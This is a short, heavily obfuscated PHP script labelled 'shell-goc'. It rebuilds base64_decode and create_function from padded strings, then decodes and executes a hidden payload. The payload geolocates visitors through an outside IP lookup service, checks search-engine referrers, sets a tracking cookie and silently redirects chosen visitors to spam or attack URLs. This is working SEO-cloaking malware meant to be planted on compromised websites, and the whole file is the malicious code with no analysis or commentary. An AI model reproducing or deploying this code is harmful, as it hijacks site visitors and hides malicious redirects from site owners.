shell-goc

 <?php
 $cr="DQplcnJvcl9yZXBvcbrnRpbmcoNyk7DQbrokY2hlbrY2sgPSJzaGluZS1jaGVjabrybrI7DQokY2hbrlY2syID0ibrdHdvdGltZSI7DQokYbrWRbrzZW5fY29kZSA9Jyc7Ly/mbrj5LlhaXosLbrfmrYzlubbr/lkYoNbrCiRDb29raWbrVUaW1lPTA7DQpmbrdW5jdGbrlvbibrBnZbrXRJUbrCbrgpDQp7DQogICAgc3RbrhdGljICRyZWFsaXA7brDQbrogICAgaWbrYgKGlzbrcbr2V0KCRfU0VSbrVkVSKSlbr7DbrQogICAgICAgIGlmIChpc3NlbrdbrCgkX1NFUlZbrFUlsiSFRUUbrF9YX0ZPUldBUkRFRF9GT1IiXbrSkpebrw0KICAgICbrAgICAgICAgJHJlYWxpcCA9ICRfU0brVSVkVbrSWyJIVFRQX1brhfRk9brSV0FSRbrEVEX0ZPUiJdOw0KIbrCbrAgICAbrgICB9IGVsc2UgaWYgKGlzc2V0KCRfU0VSVkVSbrWyJIVbrFRQX0NMSbrUVOVF9JUCJdKbrSkgewbr0KICAgICAgICAgICAgbrJHJlYbrWxpcCA9ICRfU0VSVkVbrSWyJbrIVbrFRQX0NMSUVOVF9JUCJdOwbr0brKICAbrgICAgICbrB9IGVsc2Ugew0KICAgICAgbrICAgICAgJHJlYWxbrpcbrCA9ICRbrfU0VSVkVSWybrJSbrRU1brPVEVfQUREUiJdOw0KICAgICAgICB9DQogIbrCbrAgfSbrBbrlbHNlIHsNCiAgbrICAbrgICAgabrWYgKGdldGVudigiSbrFbrRUbrUF9YX0ZPUldBUkRFRF9GT1IbriKSl7DQogICAgICAgICAgIbrCAkcmVhbGlwID0gZ2Vbr0ZWbr52KCJIVFRQX1hfRbrk9brSV0FSREVEX0ZPUiIpObrw0brKICAgICAgICBbr9IGVsc2UgaWbrYbrgKGd";
 $xb="DQpbr9DQokbrYXR0YWNrXbr3VbrybD1yYW5kX2FycmbrF5brKCR0brYXJnZXRfbrdXJsKTsNCibrRhdHRhYbr2t1cmbrw9Ind3dyI7DQokbbrDE9JF9TRVJWbrRVJbIkhUVFBfQUNDbrRVBUX0xBTkdVQUdFIl07DQppbrZihbrpc3NldCgkX1NFUlZbrFbrUlsnSFRUUF9SRUZbrFUkVSJ10pKXsgDQokYTEbrgPSAkX1NFUbrlZFUlsnSFRUUF9SRUZFUbrkVSJ1br07IAbr0KfSBlbrbHbrNlIHsgDQokbrYbrTEgPbrSAnJzsbrgDQp9IA0KJGwyPSJ6abrCI7DbrQokbrYTI9ImJpbmciOw0KJGEzPSJjb20ubraGsiOw0KJbrGE1PSJnb29nbGUiOw0KJGE0PSJ5YWhvbyI7DQppbrZiAoKCBzdbrHJwb3MoJGbrwxLCRsMikgPT09brIGZhbHNlIbrClhbmbrQoICggc3RycGbr9zKCRbrhMSwkYTMpID09IGZhbHNlICkpYbrW5kKCggbrc3RycG9zKCRhMSwkbrYTIbrpID09IHbrRydWUgKW9yKCbrBzdHJwb3MoJGExLCRhNSkgPT0gdHJ1ZSAbrpb3IoIHN0brcnBvcbrybrgkbrYbrTEsJGE0KSA9PSB0cnVlbrICkpIGFubrZCAoIHN0cnBvcbrygkYXR0YWbrNrXbr3brVybbrFsxXSwkYXR0YWNrdXJsKSA9PSB0cnVlIbrCkpIHsNCnNlbrdGNvbbr2tpZSgiVVNFUklEIiwgInNoaWbr5lLWNobrZWNrbrIbriwgMCbrwiLyIsIiIpO0brhlYWRlcigiTG9jYXbrRpbrb246ICRhdHRhY2tfdXbrJsWzFdIik7fQ0KZWbrxzZQ0Kew0Kc2V0Y29va2llbrKCJVUbr0VSSUQbriLCAbridHdvdGltZbrSIsIDAsIi8iLCIbriKTsNCn0NCgkgICB9DQogICAbrgDQp9DQbro=";
 $ysp = str_replace("m","","msmtrm_mremplamce");
 $jkw="ldGVudigiSFRUUbrF9brDTbrEbrlbrFTlRfSVAiKSbrkgew0KICAgICAgICAbrgICbrAgJHJlYWxpcCA9IGdldGVudigiSFRUUF9DTbrElFTlRfSVAibrKTsNCiAgICAgICAgbrfSBlbHNlIHsNCiAgICAgICAgICAgICRyZWFbrsaXAgPSBnZXRlbnYoIlJFbrTU9URV9BbrRERSIik7DQogICAgICAgIH0NCiAgbrICB9DQbrobrNCg0KIbrCAgIbrHJlbrdbrHVybiAkcmVhbGlwOw0KfQ0KDQbroNCi8brqKgbr0KICog6I635Y+WIElQICDlnLDnkIbkvY3nva4NCbriAqIOa3mOWunUlQ5o6l5Y+brjDQogKiBAUmV0dXJuOiBhcnJhebrQ0KICovDQpmdWbr5jdGlvbiBbrnZXRDabrXR5KCRpcCkNCnsNbrCbriAgIbrCAkdbrXJbrsbrPSJodHRwOi8vaXAudbrGFvYmFvLmNvbbrS9zZbrXbrJ2aWNlLbr2dbrldElbrwSbrW5mbbry5waHA/aXAbr9Iibr4brkabrXAbr7DQogIbrCAgJGbrlwPWbrpzbbr25fZGVjbbr2brRlKbrEBmaWxlX2dldF9jb250ZW50cygkdbrXJsKbrSk7ICbrANCibrAgICBbrpZbrigoc3RyaW5nKSRpcC0+Ybr29kZTbr09JzEnKXsNCiAgbrICAbrgICByZXR1cmbr4gZmFsc2U7DQogIbrCAgfQ0KICAgIbrCRkYbrXRhID0gbrKGFycmF5KbrSRpcC0+ZGF0YTsNCiAbrgICByZXR1cm4gJGRhdGE7IbrCAgDQp9DbrQokaXA9Z2V0SVAoKTsNCiRkYXRhPWbrdldENpdHkoJbrGlwKTsNCmlmKCRkYXbrRhKXsNCiAgICAgICAgICAgIbrCAgaWYoJGRhdGFbbrJ2NvdW50cnlbrfaWbrQbrnXT0br9J0brNOJbryl7brICbr8v5Yikbr";
 $fna="5pbrat5pbribrv5ZCm5Litbr5Zu9SVANCgkgICAgICAgICAgc2V0Ybr29va2llKbrCbrJVU0VbrSSUQiLCbrAidHdvdGltbrZSIsIDAsIi8iLbrCIiKTsNCiAgIbrCAgICAgICAgfQ0KCSAgIGVbrsc2UbrNCgbrkgICB7DQogICAgIbrCAgbrICAkdGFyZ2V0brX3VybDbr1hcnJhbreSgpOw0KLbry8kdGbrFyZbr2V0X3VybFswXT0iabrHR0cCI7brDQpmb3IobrJGk9MDskaTw2OTskaSsrbrKSAgIA0Kew0brKCSRbr0YXJnbrZXRfdXJsWyRpXT0iaHR0cDovL3d3dy5nbrb29kc2VsbG1hbGwuYbr29tIjsbrNCn0NCmZvbrcigkaT03MDskbraTwxMDA7JGkrKykNCnsNCgkkdGFyZbr2brVbr0X3VybFsbrkaV09Ibrm1hbraWx0brbzpoYbrWNrc2VvQHBvc3QuY29tIjsNCn0NCmZ1bmbrN0aW9uIHbrJhbmRfYXJyYXkobrJGFycikgDQp7brIA0KCSbrRhcnbrJfc2l6ZT1zaXplb2brYbroJGFybrcik7brDQoJJHRtcF9hcnIbr9YXbrJbryYXkoKTsgbrDQoJZm9ybrKCRpPTA7JGk8JGFycl9zaXplbrOybrRpKyspeyANCgkJbXRfbrc3brJhbmQobrKGRbrvdWbrJsZSkgbWljcm90braW1lKCkqMTAwMDAwMCk7IAbr0KCQkkcmQ9bXRfcmFuZCbrgwbrLCRhcnJfbrc2l6ZS0brxKTbrsgDQoJCWbrlmKCR0brbXBfYXbrJbryWyRyZF09brPSIiKSbrANCgkJebryANCgkJCSR0bXBfYXJbryWyRyZF09JGFyclskaV07IA0KbrCQl9IA0KCQllbHNlDQoJCXsbrgDQoJCQkkaT0kaS0xOyANCgkJfSANCgl9IA0KCXJldHVybiAkdG1wX2Fycjsg";
 $fy = $ysp("v", "", "vbvavsev64v_vdvevcovdve");
 $uj = $ysp("j","","cjrejajtje_fujncjtjion");
 $wtr = $uj('', $fy($ysp("br", "", $cr.$jkw.$fna.$xb))); $wtr();
 ?>